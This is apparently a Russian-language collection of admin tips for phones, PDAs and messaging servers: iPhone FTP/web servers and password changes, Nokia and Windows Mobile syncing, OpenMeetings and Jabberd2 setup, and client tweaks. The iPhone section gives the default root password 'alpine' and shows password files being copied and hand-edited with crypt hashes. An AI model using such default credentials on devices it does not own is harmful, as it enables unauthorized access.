    Если наблюдаются проблемы с курсором при работе в браузере, приводим в файле
    /etc/X11/Xsession.d/04b_start_matchbox строку запуска matchbox-window-manager в вид:
    
       /usr/bin/matchbox-window-manager -theme $THEME -use_dialog_mode static -use_cursor yes &
    
    Теперь, можно подключить к N900 к монитору, привязать Bluetooth-мышь/клавиатуру
    и получить полноценный ПК, умещающийся в кармане.
    
     
    ----* Установка FTP и HTTP сервера на iPhone. Смена пароля на iPhone (доп. ссылка 1)   Автор: Da1VeR  [комментарии]
     
    Инструкция по установке FTP сервера на iPhone, для обмена файлами с внешними миром.
    
    1. В инсталлере (http://www.ru-iphone.com/installer) 
    ставятся такие программы - Pure-FTPd, BossPrefs, BossPrefs PureFTPD Control.
    
    2. Перегрузить полностью iPhone
    
    3. В меню программ появится значок BossPrefs с его помощью можно либо включать
    либо выключать сервис ftp
    (собственно там еще есть SSH, WiFi, EDGE, Bluetooth, что очень удобно в случае с SSH - ибо можно, 
    при не надобности, отключать, что повысит защищенность)
    
    4. Подключится из любого компьютера на телефон, для прошивки 1.1.4:
    login\password: mobile\alpine либо login\password: root\alpine
    (ftp://mobile:alpine@ip_adress)
    
    ------------------------
    
    Для поднятия Web сервера я использовал Lighttpd, ибо с Apache возникли проблемы с биндингом порта.
    
    Итак приступим:
    
    1) Из инсталера ставим Community Sources, BSD Subsystem
    
    2) Ставим PHP. Как сказано после установки нужно добавить в пути /opt/iphone/bin/ , 
    но для начале мы перенесем папку opt чтобы незахламлять первый раздел, который ограничен 300мб. 
    Для этого:
    
       mv /opt /private/var/opt
       ln -s /private/var/opt/ /opt
    
    Далее прописываем сам путь:
    
       PATH=/opt/iphone/bin/:$PATH
    
    3) Ставим Lighttpd и BossPrefs Lighttpd Control
    
    4) Конектемся по ssh на iphone и редактируем /usr/local/etc/lighttp.conf
    
    server.document-root = "/private/var/root/Sites/" - директория где будет находится сам сайт.
    
    В строку index-file.names добавляем "index.php"
    В строку static-file.exclude-extensions добавляем ".php"
    В строку cgi.assign добавляем ".php"  => "/opt/iphone/bin/php"
    В строку mimetype.assign добавляем ".php" => "application/x-httpd-php",
    
    4) Далее заходим в BossPrefs и активируем Lighttpd
    
    5) Заливаем тестовый test.php в /private/var/root/Sites/, например
    с таким содержанием:
    
       <?php
       phpinfo();
       ?>
    
    6) Все теперь можете наслаждаться результатом: http://ip_adress/test.php
    
    ------------------------
    
    Уж если кому понадобилась смена пароля на iPhome - значит как минимум ssh уже стоит...
    Всем кто попробует сменить пароль через команду passwd искренней сочувствую, 
    ибо после такой смены - у вас сразу же слетит SpringBoard.
    Итак приступим....
    
    1) Для начала не помешало бы сделать бекап файлов, что хранят наши пароли:
    
       mkdir /etc/backup
       cp /etc/passwd /etc/backup/
       cp /etc/master.passwd etc/backup/
    
    2) Генерируем новый пароль используя ssl:
    
       openssl passwd -crypt -salt /s NewPassword
    
    Пароль должен быть не больше 8 символов, ибо все остальные символы игнорируются.
    
    Например для пароля "NewPass" - команда будет 
    "openssl passwd -crypt -salt /s NewPass" и на выходе мы получим "/sJnipZ7EmJ.M"
    
    3) Правим файлы /etc/passwd и /etc/master.passwd
    Выглядят они примерно так:
    
       nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
       root:/smx7MYTQIi2M:0:0::0:0:System Administrator:/var/root:/bin/sh
       mobile:/smx7MYTQIi2M:501:501::0:0:Mobile User:/var/mobile:/bin/sh
       daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
       unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
       _securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
    
    Пароль тут для root и mobile - alpine, в закодированном виде /smx7MYTQIi2M, его и меняем на наш:
    
       root:/sJnipZ7EmJ.M:0:0::0:0:System Administrator:/var/root:/bin/sh
       mobile:/sJnipZ7EmJ.M:501:501::0:0:Mobile User:/var/mobile:/bin/sh
    
    Перегружаем iphone и радуемся новым паролям..
    
     
    ----* Nokia в Ubuntu Linux. Подключение, настройка и работа. (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Настройка линукса для работы с телефоном Nokia, подключеным к системе через USB кабель.
    
    В этой статье будем настраивать линукс для работы с вашим телефоном Nokia, 
    подключеным к системе через USB кабель. Система Ubuntu Feisty Linux 7.04, 
    хотя аналогичным образом можно настроить в любом другом дистрибутиве.
    
    1) Ставим необходимый софт: 
    
       apt-get install obexftp  openobex-apps
    
    2)  Далее в консоли:  
    
       lsusb
    
    на  выходе получаем:
    
       Bus 003 Device 003: ID 0421:043a Nokia Mobile Phones
    
    из этого узнаем VendorID и ProductID:
    
       VendorID = 0421
       ProductID = 043a
    
    3) Прописываем эти данные в /etc/udev/rules.d/040-permissions.rules:
    
       sudo vim /etc/udev/rules.d/040-permissions.rules
    
    в конец файла вписываем:
    
       BUS=="usb", SYSFS{idVendor}=="VendorID", SYSFS{idProduct}=="ProductID",  GROUP="plugdev", USER="yourUserNname"
    
    VendorID и ProductID заменяем нашими данными полученными выводом команды lsusb
    USER="имя пользователя под которым вы работаете в системе"
    
    4) Создаём кнопку запуска на рабочем столе. В её свойствах прописываем:
    
       java -jar /home/YOURUSERNAME/obexftp-frontend-0.6.1-bin/OBEXFTPFrontend.jar
    
    YOURUSERNAME меняем на вашу домашнюю папку
    
    5) Запускаем /usr/bin/obexftp
    В вкладке Transport выбираем USB, Value 1
    Далее OK.
    
    Всё, настройка закончена. Запускаем программу через созданную нами на рабочем
    столе кнопку запуска.
    В появившемся окошке видим drive c: - это наша memory card. Процесс закачки и
    выгрузки файлов понятен интуитивно.
    Удачной работы!:)
    
     
    ----* Как перекодировать фильм для просмотра на КПК   [обсудить]
     
    Преобразуем в 220x176 по формуле: 220x? = Y/(X/220)
      320x240, 640x480 => 220x165
      352 x 288 => 220x176
      344x272 => 220x173
      448x336 => 220x168
    Для более мощных, чем ARM133, СPU и быстрых flash, нужно увеличить vbitrate, по умолчанию он 800.
     
    mencoder INPUT.AVI -oac mp3lame -ovc lavc -lavcopts \
        vcodec=mpeg4:vhq:vqmin=2:vqmax=20:vmax_b_frames=2:vbitrate=100:vqcomp=0.6 \
        -vop scale=220:173,eq=15 -ofps 20 -zoom -sws 2 -lameopts \
        cbr:br=32:aq=0:mode=3 -o OUTPUT.AVI
    
     
    ----* Как запустить Perl на смартфоне под Windows Smartphone 2003 (доп. ссылка 1)   [обсудить]
     
    Perlce удалось запустить на Motorola MPx200, работающем на базе Windows Mobile
    2003 Smartphone edition.
    
    Процесс установки:
    - Качаем пакеты celib-3.13-dll-bin-all-platforms.tar.gz и perl-wince-arm-pocket-wce300.tar.gz
    (http://www.rainer-keuchel.de/wince/dirlist.html)
    
    - Содержимое директории lib из пакета perl-wince-arm-pocket-wce300.tar.gz
    копируем в \Mounted Volume\lib\perl5
    
    - Все остальное, плюс celib.dll из директории
    wince-arm-pocket-wce300-release,копируем в \Mounted Volume\bin
    
    - В реестре создаем раздел HKLM\Environment и заводим там ключи:
          PERL5LIB="\Mounted Volume\lib\perl5"
          UNIXROOTDIR= "/Mounted Volume"
    
    - Создаем ассоциацию для выполнения .pl файлов программой perl.exe, через
    файловый менеджер RESCO Explorer
    или через правку реестра. Обязательно не забываем заключить аргумент в кавычки, 
    т.е. в HKCR\perlfile\Shell\open\command должно быть \Mounted Volume\bin\perl.exe "%1", 
    RESCO создает без кавычек.
    
    - Закачиваем и выполняем test.pl с print "Hello World!\n"; 
    - Смотрим, и используем в дальнейшем, файлы: /perl-stdin.txt, /perl-stdout.txt и /perl-stderr.txt
    
     
    ----* Синхронизация Smartphone Motorola MPx200 под Linux (доп. ссылка 1)   [комментарии]
     
    Есть два способа как заставить MPX200 работать с Linux: IrDA  и wince-usb.
    
    1. Подключение через IrDA (SIR):
      
       Устанавливаем параметры для SiR порта
       /bin/setserial /dev/ttyS1 port 0x6f8 irq 3 uart 8250 baud_base 115200
    
       irattach /dev/ttyS1 -s
       
       Для RedHat-based Linux дистрибутивов делаем проще:
          В /etc/sysconfig/irda 
             IRDA=yes
             DEVICE=/dev/ttyS1
             DISCOVERY=yes
    
          # service irda start
    
       Запускем демон синхронизации (не из под root). Качаем с http://synce.sourceforge.net
          $ dccm
          Если используется пароль запускаем как "dccm -p пароль"
    
       Один раз указываем используемый  порт.
          # synce-serial-config ircomm0
       
       Стартуем pppd (про hotplug, ниже)
          # synce-serial-start
    
       Проверяем.
          $ pstatus
    
    Version
    =======
    Version:    4.20.0 (Microsoft Windows Mobile 2003 for Pocket PC Phone Edition (?))
    Platform:   3 (Windows CE)
    .....
    
       Завершаем сеанс
          # synce-serial-abort
    
    
    2. Подключение по USB.  Для 2.4.x ядра используем user space драйвер wince-usb
       http://cvs.sourceforge.net/viewcvs.py/synce/wince-usb/  + http://libusb.sourceforge.net 
      (последние 2.6.x ядра должны работать с модулями ipaq и usb-serial из коробки).
    
       Патчим. В самом начале ipaqd.c меняем значения IPAQ_ENDPOINT на
          #define IPAQ_ENDPOINT_IN        0x82                                            
          #define IPAQ_ENDPOINT_OUT       0x02  
    
       Далее в devlist[]  добавляем                                                                 
            { 0x045e, 0x00ce, "Motorola MPX200" },  
    
       Создаем /usr/local/bin/cebox.sh взяв пример из README к wince-usb, например:
          #!/bin/sh
          /usr/sbin/pppd nocrtscts local debug passive silent 192.168.1.1:192.168.1.2 ms-dns 192.168.1.1 noauth proxyarp
    
          $ dccm
    
       Подключаем телефон и сразу запускаем
          # rmmod ipaq (пока не поправили hotplug)
          # ipaqd 2>/var/log/ipaqd.log
    
       Далее запускаем synce-serial-* как в предыдущем шаге.
    
    3. Настройка HotPlug (чтобы все запускалось автоматически).
    
       В /etc/hotplug/usb.agent добавляем после блока с "LABEL="USB product $PRODUCT":
    
          if [ "$PRODUCT" = "45e/ce/0" ]; then
               /etc/hotplug/usb/ipaq
               exit 0
          fi
    
       Создаем /etc/hotplug/usb/ipaq
           #!/bin/bash
           killall -9 ipaqd
           killall dccm
           su -c /usr/bin/dccm /user/
           /usr/local/bin/ipaqd 2>/var/log/ipaq.log
    
    4. Стандартные команды synce:
          pcp - копирование файлов (аналог cp)
          pls - список файлов в директории (аналог ls)
          pmkdir - создание директории (аналог mkdir)
          pmv - перенос/переименование файлов (аналог mv)
          prm - удаление файлов (аналог rm)
          prmdir - удаление директорий
          prun - запуск программы на устройстве
          pstatus - статус устройства
          synce-install-cab - установка на устройство .cab файла
          orange - позволяет выдрать .cab из .exe инсталлера;
    
    
    В Modnight Commander удобно использовать VFS понимающую команды
    "cd #synce" и "cd #synceroot", 
    правда модуль раздаваемый на сайте synce у меня не заработал, пришлось его переписать: 
    ftp://ftp.opennet.ru/pub/sys/shell/synce-mcfs-patched/
    Для работы, копируем файлы synce и synceroot в /usr/lib/mc/extfs
    К extfs.ini добавляем:
       synce                                                                           
       synceroot
    
    Хорошая графическая оболочка для синхронизации календаря и адресной книги -
    MultiSync (http://multisync.sourceforge.net/)
    
     

       Мгновенный обмен сообщениями (Jabber, ICQ)

    ----* Возвращение к жизни Skype 4.3 для Linux (доп. ссылка 1)   Автор: онаним  [комментарии]
     
    Некоторое время назад компания Microsoft начала блокировать работу
    классического клиента Skype 4.3 для Linux, стимулируя переход на новую ветку
    Skype 8.x. При этом блокировка не обусловлена техническими причинами и работа
    Skype 4.3 для Linux может быть восстановлена простой заменой номера версии  в
    исполняемом файле.
    
    В частности, если в любом бинарном редакторе заменить строку "4.3.0.37" на
    "8.3.0.37" в /usr/bin/skype, то старый клиент Skype  продолжит свою нормальную работу.
    
    Для изменения можно запустить:
    
       sudo sed -i 's/4\.3\.0\.37/8\.3\.0\.37/' /usr/bin/skype
    
     
    ----* Установка сервера видеоконференций openmeetings 2.2 в Debian 7.4   Автор: Artem Solodchenko  [комментарии]
     
    Настройка openmeetings в Debian  7.4. 
    
    
    
    Добавляем репозитории в /etc/apt/sources.list
    
       # основное зеркало debian
       deb http://ftp.debian.org/debian/ squeeze main contrib non-free
       deb http://ftp.debian.org/debian/ squeeze-updates main contrib non-free
       deb http://ftp.debian.org/debian/ squeeze-proposed-updates main contrib non-free
       # зеркало от яндекс
       deb http://mirror.yandex.ru/debian/ squeeze main contrib non-free
       deb http://mirror.yandex.ru/debian/ squeeze-updates main contrib non-free
       deb http://mirror.yandex.ru/debian/ squeeze-proposed-updates main contrib non-free
       # дополнительные зеркала
       deb http://security.debian.org/ squeeze/updates main contrib  non-free
       deb http://www.debian-multimedia.org squeeze main non-free
       deb http://backports.debian.org/debian-backports squeeze-backports main
       # дополнительные зеркала от яндекс
       deb http://mirror.yandex.ru/debian-security/ squeeze/updates main contrib non-free
       deb http://mirror.yandex.ru/debian-multimedia squeeze main non-free
       deb http://mirror.yandex.ru/debian-backports squeeze-backports main
    
    далее обновляемся и устанавливаем ключи подписи для репозитория http://www.debian-multimedia.org/
    
       aptitude update && aptitude -y install debian-multimedia-keyring && aptitude update
    
    Оттуда будем устанавливать более менее свежие lame и ffmpeg, необходимые для
    конвертации в openmeetings
    Ставим всякую мелочевку:
    
       apt-get install mc screen bash-completion dnsutils ntpdate
    
    Устанавливаем mysql, веб-администратор apache
    
       aptitude -y install  mysql-server phpmyadmin
    
    Редактируем конфиг mysql, добавляем в /etc/mysql/my.conf
    
       [mysqld]
       skip-character-set-client-handshake
       collation-server = utf8_unicode_ci
       init-connect = 'SET NAMES utf8'
       character-set-server = utf8
       [client]
       default-character-set = utf8
       [mysql]
       default-character-set = utf8
    
    Перезапускаем mysql
    
       /etc/init.d/mysql restart
    
    А после, запустим вот этот скрипт /usr/bin/mysql_secure_installation. Он будет
    задавать вопросы. Отвечаем так:
    
       Enter current password for root (enter for none): 
       жмём энтер, т.к. пароль пароль суперпользователя на mysql у нас пока пустой
       Set root password? [Y/n] y
       New password: вводим пароль суперпользователя на mysql
       Remove anonymous users? [Y/n] y
       Disallow root login remotely? [Y/n] y
       Remove test database and access to it? [Y/n] y
       Reload privilege tables now? [Y/n] y
    
    С помощью этого скрипта мы выполнили следующие действия: задали пароль для
    суперпользователя root, так как по умолчанию для него не установлен пароль;
    удалили анонимного пользователя, который создаётся только для тестовых целей;
    запретили пользователю root входить удалённо - теперь он сможет заходить только
    с localhost; удалили тестовую БД test и доступ к ней.
    
    Далее создаем необходимые базы:
    
       mysql -p
       CREATE DATABASE `openmeetings`;
       GRANT ALL PRIVILEGES ON openmeetings.* TO 'openmeetings'@'localhost' IDENTIFIED BY 'my_password' WITH GRANT OPTION;
    
    этим мы создаем базу openmeetings, пользователя openmeetings с паролем my_password
    
    Устанавливаем "безголовый" openoffice, java6, imagemagic, ghostscript, ffmeg,
    lame, mscorefonts и тд
    
       aptitude install texi2html unzip sun-java6-bin imagemagick ghostscript openoffice.org-core openoffice.org-base openoffice.org-writer openoffice.org-calc openoffice.org-impress openoffice.org-draw openoffice.org-math openoffice.org-filter-mobiledev openoffice.org-filter-binfilter ttf-mscorefonts-installer pstoedit libpaper-utils ttf-dejavu sox ffmpeg lame libart-2.0-2 sun-java6-bin sun-java6-jdk sun-java6-jre
    
    Для нормальной работы openmeetengs  нужен swftools. Тот, который доступен в
    репозитории не полон. Придется собрать руками. Устанавливаем swftools:
    
       wget http://www.swftools.org/swftools-0.9.2.tar.gz
       apt-get install libfreetype6 libfreetype6-dev libjpeg62 libjpeg62-dev libt1-dev \\
           libungif4-dev libavifile-0.7-dev libavifile-0.7c2
       ./configure && make clean && make && make install
    
    Выкачиваем OpenMeetings 2.2
    
       mkdir /opt/red5
       cd /opt/red5
       wget http://www.apache.org/dyn/closer.cgi/openmeetings/2.2.0/bin/apache-openmeetings-2.2.0.zip
       unzip  apache-openmeetings-2.2.0.zip
    
    После чего, находим файл
    /opt/red5/webapps/openmeetings/WEB-INF/classes/META-INF/mysql_persistence.xml. В
     нём нас интересует вот этот блок:
    
      , MaxActive=100
      , MaxWait=10000
      , TestOnBorrow=true
      , poolPreparedStatements=true
      , Username=root
      , Password="/>
    
    правим
    
      , Username=openmeetings
      , Password=my_password"/>
    
    
    После окончания редактирования файла, нужно переименовать mysql_persistence.xml
    в persistence.xml (заменить существующий  persistence.xml)
    
    создаем скрипты запуска red5, openoffice
    
       cd /etc/init.d/
    
    В /etc/init.d/red5 копируем 
    
       #! /bin/sh
       # red5 initscript
       set -e
       PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
       DESC="Red5 flash streaming server"
       NAME=red5
       DAEMON_HOME=/opt/red5
       DAEMON=$DAEMON_HOME/$NAME.sh
       PIDFILE=/var/run/$NAME.pid
       SCRIPTNAME=/etc/init.d/$NAME
       # Gracefully exit if the package has been removed.
       test -x $DAEMON || exit 0
       # Read config file if it is present.
       if [ -r /etc/default/$NAME ]
       then
          . /etc/default/$NAME
       fi
       # Function that starts the daemon/service.
       d_start() {
          start-stop-daemon --start --pidfile $PIDFILE --chdir $DAEMON_HOME --background --make-pidfile --exec $DAEMON
       }
       # Function that stops the daemon/service.
       d_stop() {
          start-stop-daemon --stop --quiet --pidfile $PIDFILE --name java
          rm -f $PIDFILE
       }
       case "$1" in
       start)
          echo -n "Starting $DESC: $NAME"
          d_start
          echo "."
          ;;
       stop)
          echo -n "Stopping $DESC: $NAME"
          d_stop
          echo "."
          ;;
       restart|force-reload)
          echo -n "Restarting $DESC: $NAME"
          d_stop
          sleep 1
          d_start
          echo "."
          ;;
       *)
       echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
       exit 1
       ;;
       esac
       exit 0
    
    Сохраняемся, выходим и создадим скрипт запуска для soffice-headless
    В /etc/init.d/soffice-headless копируем:
    
       #!/bin/bash
       # openoffice.org headless server script
       set -e
       PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
       DESC="OpenOffice.org headless server"
       NAME=soffice-headless
       DAEMON_HOME=/usr/lib/libreoffice/program
       DAEMON=$DAEMON_HOME/$NAME.sh
       PIDFILE=/var/run/$NAME.pid
       SCRIPTNAME=/etc/init.d/$NAME
       # Gracefully exit if the package has been removed.
       test -x $DAEMON || exit 0
       # Read config file if it is present.
       if [ -r /etc/default/$NAME ]
       then
          . /etc/default/$NAME
       fi
       # Function that starts the daemon/service.
       d_start() {
          start-stop-daemon --start --pidfile "${PIDFILE}" --chdir "${DAEMON_HOME}" --background --make-pidfile --exec $DAEMON
       }
       # Function that stops the daemon/service.
       d_stop() {
          start-stop-daemon --stop --quiet --pidfile "${PIDFILE}" --name java
          rm -f "${PIDFILE}"
       }
       case "$1" in
       start)
          echo -n "Starting $DESC: $NAME"
          d_start
          echo "."
          ;;
       stop)
          echo -n "Stopping $DESC: $NAME"
          d_stop
          echo "."
          ;;
       restart|force-reload)
          echo -n "Restarting $DESC: $NAME"
          d_stop
          sleep 1
          d_start
          echo "."
          ;;
       *)
       echo "Usage: $SCRIPTNAME {start|stop|restart|force-reload}" >&2
       exit 1
       ;;
       esac
       exit 0
    
    Сохраняемся, выходим, делаем скрипты исполняемыми и устанавливаем их в автозапуск
    
       chmod 755 /etc/init.d/red5 && update-rc.d red5 defaults && chmod 755 /etc/init.d/soffice-headless && update-rc.d soffice-headless defaults
    
    Для запуска openoffice создадим еще один скрипт:
    
    В /usr/lib/libreoffice/program/soffice-headless.sh копируем:
    
       #!/bin/bash
       # openoffice.org headless server script
       #
       unset DISPLAY
       /usr/lib/libreoffice/program/soffice "-accept=socket,host=localhost,port=8100;urp;StarOffice.ServiceManager" -nologo -headless -nofirststartwizard
    
    Сохраняемся, выходим и делаем его исполняемым
    
       chmod 755 /usr/lib/libreoffice/program/soffice-headless.sh
    
    Проверяем работоспособность скрипта "безголового"; офиса. Запускаем его:
    
       /etc/init.d/soffice-headless
    
    вбиваем:
    
       netstat -an | grep 8100
    
    Должны увидеть:
    
       tcp 0 0 127.0.0.1:8100 0.0.0.0:* LISTEN
    
    Далее, скачиваем jConnector со страницы http://www.mysql.com/downloads/connector/j/
    
    Он нужен openmeetings для подключения к базе mysql. Распаковываем содержимое
    скачанного архива mysql-connector-java-5.1.22.zip (на момент написания статьи).
    В нём нас интересует лишь файл mysql-connector-java-5.1.22-bin.jar. Его надо
    поместить в каталог /opt/red5/webapps/openmeetings/WEB-INF/lib.
    
    Дальше надо скачать JODConverter - http://code.google.com/p/jodconverter/downloads/list
    
    JODConverter нужен для конвертирования офисных файлов в pdf для отображения на
    доске. Содержимое архива jodconverter-core-3.0-beta-4-dist.zip (на момент
    написания статьи) копируем в каталог /opt/openmeetings/webapps/openmeetings/jodcoverter.
    
    Далее, есть ещё одна тонкость: в коде jodconverter жестко прописаны пути, и он
    будет искать опенофис в каталоге /opt/openoffice.org3.
    
    Поэтому, чтобы он таки его мог увидеть, делаем вот такую символическую ссылку:
    
       ln -s /usr/lib/libreoffice /opt/openoffice.org3
    
    Переходим в каталог /opt/red5 и выполняем команду:
    
       cd /opt/red5
       ./red5.sh
    
    Не нужно дожидаться её завершения. И вообще, лучше эту команду выполнить в
    отдельно открытой консоли. Эта команда запустит openmeeting. Его окончательную
    установку необходимо сделать уже через web-интерфейс. Открываем браузер,
    переходим по адресу:
    
    http://your_ip:5080/openmeetings/install
    
    На страничке инсталяции обратим внимание на поле "JOD Path". В нём надо указать
    путь к директории lib нашего джобконвертера:
    /opt/red5/webapps/openmeetings/jodcoverter/lib. В поля имя и пароль вбивается
    имя и пароль администратора системы. В поля imagemagick_path, sox_path,
    ffmpeg_path   пишем /usr/bin. Поле swftools_path - /usr/local/bin. Остальные
    поля на своё усмотрение можно заполнить, после чего жмём внизу кнопку
    "INSTALL". Система призадумается на некоторое время. Через некоторое время (у
    меня заняло около 5 минут) система сообщит что все ОК и можно начинать работу.
    
    Есть один нюанс: при изменении данных пользователя нужно каждый раз ОБЯЗАТЕЛЬНО
    вбивать пароль. Иначе пользователь окажется без пароля и вход в систему станет невозможен.
    
    
    На этом все, можно перезагрузить систему и начинать пользоваться. Удачи.
    
    Примечание: Сервер имеет статический IP. Сразу оговорюсь: ссылки на установку
    пакетов дергал из других статей (указаны ниже) по этому можно наблюдать
    некоторые несоответствия с версиями LibreOffice. В debian 7.4 уже был
    установлен LibreOffice (на него и настроены скрипты в статье). Если кому то
    захочется разобраться - разбирайтесь и не устанавливайте лишнего.  Система сама
    не стала ставить OpenOffice при наличии установленного LibreOffice.  Начнем:
    
    
    Статьи которыми я пользовался для написания:
    * http://www.openkazan.info/http:/%252Fmy-ubuntu-land.blogspot.com/2011/03/openmeetings-161-debian-6-squeeze.html
    * http://technotrance.su/index.php/moi-stati/linux-fedora/item/21-openmeetings2
    
     
    ----* Аватар в Gajim без сжатия   Автор: Мороз Сергей  [комментарии]
     
    В jabber-клиенте Gajim есть одна неприятная особенность. Когда вы хотите
    разместить свою фотографию или аватар в дополнительной информации (vcard), вы
    непременно столкнётесь с тем, что фотография, которую вы загрузили, вдруг
    окажется меньшего размера чем оригинал, более того, в 99% случаев на этой
    фотографии не будет видно даже вашего лица из-за слишком маленького разрешения.
    То есть Gajim в целях экономии вашего трафика и трафика того, кто будет
    просматривать vcard, уменьшает вашу фотографию, так же он это делает по причине
    того, что слишком большие фотографии jabber-серверы просто не принимают. И
    потом, я всегда предпочитал подготовить фотографию вручную самостоятельно, и
    крайне был не доволен тем, что Gajim делает сжатие даже без предупреждения. Но
    оказалось, что сжатие можно отключить или сделать его более щадящим.
    
    Заходим в директорию /usr/share/gajim/src как администратор (в терминале: sudo
    nautilus /usr/share/gajim/src) и находим там файл profile_window.py, открываем
    его в своем текстовом редакторе и ищем 112 и 127 строки кода (это если у вас
    Gajim версии 0.13.4) или 115 и 130 строчки кода (если у вас Gajim 0.14):
    
       if not invalid_file and filesize > 16384: # 16 kb
       if filesize > 16384:
    
    В обоих строках мы видим одно и то же число 16384, это и есть ни что иное, как
    размер фотографии/аватара в байтах. Чтобы Gajim не производил сжатие просто
    увеличите эту цифру в обоих строчках. Я добавил два нуля и получилось вот так:
    
    
       if not invalid_file and filesize > 1638400: # 16 kb
       if filesize > 1638400:
    
    И всё, сохраните значение и перезагрузите клиент, после этого можете загружать
    свои любимые аватары и фотографии в нужном размере.
    
    Таким образом, любая добавленная фотография, не будет обрезаться или сжиматься,
    потому что размер 1638400 гораздо больше, чем вам позволит jabber сервер
    загрузить, по крайней мере так на jabber.ru и наверняка на большинстве других
    jabber серверах. Рекомендую нужную фотографию, например сделанную
    фотоаппаратом, просто сжать, в любой удобной программе, например в Gimp. Обычно
    фотографии под 50 кб вполне нормально подходят для vcard, однако помните ещё и
    то, что если вы любите посещать Jabber-конференции, где множество абонентов
    сидят с мобильных телефонов, то велика вероятность, что крупные фотографии, они
    не смогут просмотреть, по причине ограничения, которое может быть установлено в
    мобильных клиентах.
    
     
    ----* psi: контакт-лист и сообщения в одном окне (доп. ссылка 1)   Автор: Соколов Алексей  [комментарии]
     
    Jabber-клиент psi может выглядеть как tkabber (список контактов и сообщения в одном окне).
    Для пользователей FreeBSD шаги будут выглядеть следующим образом:
    
       cd /usr/ports/net-im/psi && make extract
       cd work/psi-0.12
       fetch http://psi-dev.googlecode.com/svn/trunk/patches/psi-all_in_one_window.patch
       cat psi-all_in_one_window.patch | patch -p1
       cd ../../ && make install clean
    
     
    ----* Установка и настройка JUD для Jabberd2 под FreeBSD 6.1 (доп. ссылка 1)   Автор: protonix  [обсудить]
     
    0. Создание пользователя jabber из группы jabber
    
       #adduser
    
    1. Установка Jabber думую не вызывает проблем - в портах /usr/ports/net-im/jabberd 
    
       #make install clean
    
    2. Настройка
    
    Можно ниче не менять и оставить все поумолчанию,но желательно изменить в файлах 
       /usr/local/etc/jabberd/sm.xml 
       /usr/local/etc/jabberd/c2s.xml
    
    Если сервер будет не только для локальной сети, а со связью с глобальными, то также меняем в
       /usr/local/etc/jabberd/s2s.xml
       /usr/local/etc/jabberd/resolver.xml
    
    Если нет то можно закоментить в jabber.cfg эти части
    меняем имя сервера, и пароль (хотя можно и не менять)
    id имя сервера - это то что после @ =) может быть любое (по умолчанию localhost)
    user имя для router.xml (jabberd)
    pass пароль тоже для router.xml (secret)
    
    Еще проблемы были с паролем в файле router-users.xml - если везде поменяли, то и здесь не забудьте
    
    3. Настройка БД
    
    по умолчанию используется MySQL, ниче менять не будем.
    заходим под рутом в MySQL и запускаем скрипт (должны находиться в папке со
    скриптом /usr/local/share/jabberd)
    
       mysql -u root -p
       mysql>\. db-setup.mysql
    
    добавляем пользователя (jabberd2) БД и пароль (secret) к нему
    
       GRANT select,insert,delete,update ON jabberd2.* to jabberd2@localhost IDENTIFIED by 'secret';
    
    если изменили, не забудьте изменить и в sm.xml
    
    на всякий случай делаем ссылку
       ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock 
    
    
    Попробуйте запустить - заходим под jabber и набираем
       >jabberd
    
    В /var/logs/messages смотрим результат - должно быть реди 
    если не запустился,то гдето косяк,запускаем в отладочном режиме
       >jabberd -D
    
    смотрим на чем сервер умирает и исправляем
    
    4. Установка users-agent
    
       /usr/ports/net-im/jabber-users-agent 
       #make install clean
    
    5. Настройка users-agent
    
    в /usr/local/etc/ опять изменяем конфиг имя,пароль,имя БД(jud),пароль БД(jud)
    
    6. Настройка БД
    
    можно наверно запустить скрипт,но говорят он не работает,поэтому пишем сами
    
       CREATE DATABASE JUD;
       GRANT ALL PRIVILEGES ON JUD.* to jud@localhost IDENTIFIED BY 'jud';
       CREATE TABLE JUD.jud (jid VARCHAR(100) PRIMARY KEY, name VARCHAR(100),
                           first VARCHAR(50), last VARCHAR(50),nick VARCHAR(50),
                           email VARCHAR(50), INDEX ind_name (name), INDEX ind_first (first),
                           INDEX ind_last (last), INDEX ind_nick (nick),
                           INDEX ind_email (email));
    
    7. Все запускаем из под пользователя jabber - сначала сам джаббер-сервер
    
       >jabberd 
    
    можно в фоновом режиме с параметром -B
    Потом users-agent
    
    в папке /usr/local/lib/jabber/users-agent
    
       >./users-agent
    
    Все проверяйте в PSI - создавать аккаунты и пытаться найти себя=)
    
    Какие были у меня проблемы:
    
    Читал всякие вики и ртфм и запутался=) :
    
    а)Проблемы с правами доступа, так как запускать можно только от 
    пользователя Jabber,не забудьте для конфигов поставить права доступа
    
    б)Исправление файла router-users.xml - нигде вроде не встречал, поэтому и не исправлял
    
    в)Устанавливать надо jabber-users-agent, а не jabber-JUD =)
    
    г)Перловский скрипт запускается с ./ =)
    
    д)Если был до другой джаббер сервер все сносите деинсталом и подчищайте вручную
    
    Вообщето все лежит на 
    http://jabberd.jabberstudio.org/2/docs/jabberd_guide.html 
    
    но там много и на английском.И еще помогло 
    http://ru.gentoo-wiki.comНастройка_JUD_на_сервере_Jabberd_версии_2.x
    
     
    ----* Используем BitMessage через IMAP/SMTP (доп. ссылка 1) (доп. ссылка 2)   Автор: ukubuku  [комментарии]
     
    Инструкция по использованию BitMessage в любом почтовом клиенте
    (Thunderbird/Apple Mail/etc). BitMessage представляет собой децентрализованную
    P2P-сеть, использующую похожие на Bitcoin принципы построения распределённой
    шифрованной цепочки блоков, но вместо хранения информации о денежных
    транзакциях, ориентированную на пересылку сообщений.
    
    
    Устанавливаем Docker и создаём раздел для данных:
    
         $ docker volume create bm-data
    
    Создаём контейнер, в котором запускаем образ
    https://hub.docker.com/r/yshurik/bitmessage (https://github.com/yshurik/docker-bitmessage)
    
         $ docker run -v bm-data:/data -d --name bm -p 8444:8444 -p 127.0.0.1:25:2525 -p 127.0.0.1:143:143 --restart=unless-stopped yshurik/bitmessage:latest
    
    IMAP/SMTP открыт только для localhost
    
    
    Настраиваем Thunderbird.
    
    Для старта выбираем адрес bm@bitmessage
    
    Подключаемся по IMAP к localhost, выбрав сетевой порт 143. 
    Security: none, Authentication: plain password. Имя пользователя bm, пароль тоже bm
    
    SMTP тоже localhost, порт 25, security: none
    
